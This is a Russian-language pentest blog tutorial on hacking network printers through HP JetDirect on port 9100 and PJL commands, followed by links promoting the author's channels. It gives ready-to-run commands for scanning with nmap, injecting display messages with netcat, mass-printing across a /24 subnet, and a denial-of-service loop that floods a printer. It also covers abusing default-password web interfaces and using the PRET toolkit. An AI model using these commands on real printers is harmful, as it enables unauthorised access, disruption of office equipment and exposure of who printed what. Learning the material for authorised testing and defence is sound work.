Взлом принтеров | Уязвимости принтеров и их эксплуатация
TestLandПредставьте, что вы сидите в офисе, пьёте кофе, наблюдаете, что происходит за окном и вдруг слышите шум печати за спиной. Поворачиваетесь к рабочему столу и видите, как из принтера торчит бумага с текстом "хватит кофе пить, иди работай!". Страшно, да? На самом деле такое вполне может быть и сегодня мы с вами разберём уязвимости устройств для печати, а также их эксплуатацию.
Итак, здесь у нас идёт речь про уязвимости принтеров, которые позволяют злоумышленнику удалённо выполнять печать, выводить текст на экран, да и в целом иметь контроль над принтером.
PJL, PCL и JetDirect:
Компания HP разработала язык PJL для расширенного управления принтерами.
Позже был разработан PCL - улучшенный язык.
PJL пошёл своей дорогой и его используют различные компании.
Также HP разработали JetDirect, что позволяет производить печать удалённо, по сети.
Именно с помощью команд PJL и уязвимостей принтеров, которые позволяют подключаться к ним благодаря JetDirect - имеется возможность удалённо управлять машиной для печати.
Взлом:
По умолчанию сервис JetDirect работает на порту 9100.
С помощью сканера NMap мы можем просканировать целевой принтер и проверить, какие службы у него запущены:
nmap <IP>
Здесь же мы пробуем определить, работает ли именно порт 9100 на целевом устройстве:
nmap -p 9100 <IP>
Теперь мы можем воспользоваться утилитой NetCat для подключения:
nc -v <IP> 9100
Исходя из справки по утилите можно понять, что параметр -v предназначен для отображения подробностей (режим verbose):
Для получения справки используется такая команда:
nc -h
После подключения к принтеру можно вывести текст на экран приветствия:
@PJL STMSG DISPLAY="HACKED"
В итоге на принтере отображается введённый нами текст:
Более подробно ознакомиться с языком PJL можно с помощью этого мануала от HP.
Аналогичного эффекта можно добиться, используя оператор RDYMSG:
@PJL RDYMSG DISPLAY="HACKED"
То же самое можно проделать, выполнив печать из файла:
echo '"@PJL STMSG DISPLAY="HACKED"' >> PJL.txt
сat PJL.txt | nc –v <IP>
Результат будет одним и тем же, а вот способы разные и можно использовать любой по вкусу.
Тут есть интересный момент:
поскольку порт 9100 де-факто зарезервирован для JetDirect, то он прослушивается на получение как команд PJL, так и собственно заданий печати. Другими словами, мы можем послать туда любую строку, которая не относится к PJL.
Для проверки создадим текстовый файл printme.txt, не содержащий команд. Это просто строки с латинскими буквами. Отправляем его на принтер той же командой:
cat printme.txt | nc –v <IP>
Спустя пару секунд устройство выплюнет распечатанный лист.
В итоге мы имеем возможность печатать документ при помощи JetDirect, просто отправив текст на TCP-порт 9100 из файла или консоли.
Однако это ещё зависит от модели устройства печати, ибо результат может быть не удовлетворительным или отличающимся от того, который мы получили выше.
Массовая атака:
Представьте, что в офисе подключено к локальной сети сразу несколько принтеров и вы хотите одной командой сразу запустить на каждом из их печать.
Это возможно сделать такой командой (с заранее заготовленным файлом):
for ip in $(nmap -p 9100 <IP>/24 --open | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}");do cat JPL | nc -v $ip 9100; done
Сначала NMap сканирует всю сеть, далее grep собирает лишь IP-адреса из результатов сканирования NMap, а далее происходит подключение через NetCat и выполнение команды печати из файла:
Итог:
DoS-атака:
Для этого (как вариант) нам необходимо создать бесконечный цикл. На bash он выглядит как-то так:
while [ 0 -eq 0 ]
Модифицируем команду и отправляем запрос на принтер:
while [ 0 -eq 0 ]; do echo "HACKED" | nc –v <IP>; done
Web Interface:
Помимо команд можно использовать веб-интерфейс подключённого к сети принтера.
Дело в том, что многие принтеры имеют веб-интерфейс для управления, и об этом даже могут не знать владельцы.
Выглядит это примерно так:
С помощью веб-интерфейса в зависимости от модели принтера можно выполнять разные действия, например менять настройки или производить печать.
Также можно прочесть логи использования принтера, то есть увидеть, кто и что печатал.
А на некоторых принтерах даже имеются подсказки, что на устройстве установлен дефолтный пароль:
И этим может воспользоваться хакер.
Сканирование NMap:
По умолчанию порт 9100 при использовании параметра -sV пропускается, т.к. JetDirect печатает всё, что приходит на этот порт.
В таком случае, при сканировании принтер мог печатать строку вида GET / HTTP. Нужно принять это во внимание и не использовать -sV при сканировании сетевого принтера во избежание непредусмотренной печати.
Автоматизация атаки:
Для автоматизации атак были разработаны специальные утилиты и одна из самых популярных - PRET.
Её установка в Kali Linux происходит с помощью данной команды:
git clone https://github.com/RUB-NDS/PRET
Далее можно посмотреть содержимое репозитория:
cd PRET
ls
для цветного вывода и поддержки SNMP необходимо установить сторонние модули:
pip install colorama pysnmp
Пример использования:
./pret.py laserjet.lan ps ./pret.py /dev/usb/lp0 pjl
Данная утилита способна производить сканирование устройств для выявления сетевых принтеров. Для этого нужно запустить скрипт без аргументов:
./pret.py
address device uptime status ─────────────────────────────────────────────────────────────────────────────── 192.168.1.5 hp LaserJet 4250 10:21:49 Ready 192.168.1.11 HP LaserJet M3027 MFP 13 days Paper jam 192.168.1.27 Lexmark X792 153 days Ready 192.168.1.28 Brother MFC-7860DW 16:31:17 Sleep mode
Заключение:
Отлично, мы разобрались с уязвимостями и посмотрели их на практике, а значит данная статья подошла к концу.
Чтобы получать больше интересной и полезной информации по информационной безопасности - подпишитесь на канал. Будем очень благодарны и дарить вам годную инфу.
YouTube:
Telegram:
▶ Личный Блог: overbafer1
▶ Информационная Безопасность: LamerLand
▶ Пентест: TestLand
▶ Криптовалюта: CryptOVER
▶ Чат: OVER-CHAT
▶ эксклюзивный бот для разведки и поиска информации в сети: https://overbafer1.ru/
VK:
Мерч:
▶ Магазин